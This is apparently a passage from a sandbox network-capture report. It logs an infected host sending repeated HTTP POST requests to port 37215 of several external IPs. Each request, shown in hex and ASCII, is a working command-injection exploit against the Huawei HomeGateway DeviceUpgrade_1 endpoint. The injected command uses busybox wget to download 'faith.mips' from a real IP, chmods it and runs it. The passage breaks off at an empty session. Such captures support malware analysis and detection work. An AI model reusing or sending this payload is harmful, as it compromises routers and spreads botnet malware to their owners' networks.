HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	35268	156.241.86.49	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:55.971370935 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:57.532567024 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:59.388581991 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:03.228677988 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:10.652565002 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:25.500550032 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:54.940675974 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	51108	156.77.139.235	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:01.425970078 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	40884	95.86.117.19	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:04.866770029 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	36632	95.86.74.133	37215

Timestamp	Bytes transferred	Direction	Data
